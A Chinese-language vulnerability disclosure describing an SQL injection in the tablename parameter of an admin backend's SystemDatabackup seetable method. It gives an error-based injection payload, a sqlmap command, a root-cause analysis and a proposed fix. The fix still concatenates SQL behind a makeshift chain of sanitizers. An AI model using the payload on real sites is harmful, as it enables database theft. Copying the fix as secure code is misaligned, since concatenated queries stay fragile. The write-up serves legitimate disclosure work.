后臺(tái)存在SQL注入漏洞，攻擊者可以通過(guò)SystemDatabackup.php中的tablename參數(shù)進(jìn)行SQL注入

如圖登錄后臺(tái)執(zhí)行以下操作，并抓取數(shù)據(jù)包

將GET請(qǐng)求中/admin/system.system_databackup/seetable/tablename/后的改成1'and+updatexml(1,concat(0x7e,database()),1)%23即可實(shí)現(xiàn)報(bào)錯(cuò)注入，通過(guò)報(bào)錯(cuò)得到數(shù)據(jù)庫(kù)名稱

數(shù)據(jù)包如下：

使用SQLMAP進(jìn)行注入：

python sqlmap.py -r 3.txt --batch --technique EB

漏洞分析

問(wèn)題出現(xiàn)在application/admin/controller/system/SystemDatabackup.php中的seetable方法，tablename字段沒(méi)有經(jīng)過(guò)處理直接拼接到SQL語(yǔ)句中，最后通過(guò)Db::query執(zhí)行，而Db::query沒(méi)有任何過(guò)濾措施。

因此可以通過(guò)以下payload實(shí)現(xiàn)報(bào)錯(cuò)注入：

/admin/system.system_databackup/seetable/tablename/1'and+updatexml(1,concat(0x7e,database()),1)%23

修復(fù)方法：

方法：

app\admin\controller\system\SystemDatabackup\seetable

    /**
     * 查看表結(jié)構(gòu)
     * @param Request|null $request
     */
    public function seetable(Request $request = null)
    {
        $database = config("database.database");
        $tablename = $request->param('tablename');
        $res = [];
        try {
            $tablename = $this->clean($tablename);
            $res = Db::query("select * from information_schema.columns where table_name = '" . $tablename . "' and table_schema = '" . $database . "'");
        } catch (\Exception $e) {
            echo $e->getMessage();
        }
        if (count($res) <= 0) return;
        $html = '';
        $html .= '<table border="1" cellspacing="0" cellpadding="0" align="center">';
        $html .= '<tbody><tr><th>字段名</th><th>數(shù)據(jù)類型</th><th>默認(rèn)值</th><th>允許非空</th><th>自動(dòng)遞增</th><th>備注</th></tr>';
        $html .= '';
        foreach ($res as $f) {
            $html .= '<td class="c1">' . $f['COLUMN_NAME'] . '</td>';
            $html .= '<td class="c2">' . $f['COLUMN_TYPE'] . '</td>';
            $html .= '<td class="c3">' . $f['COLUMN_DEFAULT'] . '</td>';
            $html .= '<td class="c4">' . $f['IS_NULLABLE'] . '</td>';
            $html .= '<td class="c5">' . ($f['EXTRA'] == 'auto_increment' ? '是' : ' ') . '</td>';
            $html .= '<td class="c6">' . $f['COLUMN_COMMENT'] . '</td>';
            $html .= '</tr>';
        }
        $html .= '</tbody></table></p>';
        $html .= '<p style="text-align:left;margin:20px auto;">總共：' . count($res) . '個(gè)字段</p>';
        $html .= '</body></html>';
        echo '<style>
                body,td,th {font-family:"宋體"; font-size:12px;}
                table,h1,p{width:960px;margin:0px auto;}
                table{border-collapse:collapse;border:1px solid #CCC;background:#efefef;}
                table caption{text-align:left; background-color:#fff; line-height:2em; font-size:14px; font-weight:bold; }
                table th{text-align:left; font-weight:bold;height:26px; line-height:26px; font-size:12px; border:1px solid #CCC;padding-left:5px;}
                table td{height:20px; font-size:12px; border:1px solid #CCC;background-color:#fff;padding-left:5px;}
                .c1{ width: 150px;}
                .c2{ width: 150px;}
                .c3{ width: 80px;}
                .c4{ width: 100px;}
                .c5{ width: 100px;}
                .c6{ width: 300px;}
            </style>';
        echo $html;
    }

    /**
     * 過(guò)濾
     * @param $str
     * @return string
     */
    public function clean($str)
    {
        $str = trim($str);
        $str = strip_tags($str);
        $str = stripslashes($str);
        $str = addslashes(sprintf("%s", $str));
        $str = rawurldecode($str);
        $str = quotemeta($str);
        $str = filter_var($str, FILTER_SANITIZE_STRING);
        $str = htmlentities($str, ENT_QUOTES);
        $str = htmlspecialchars($str);
        return $str;
    }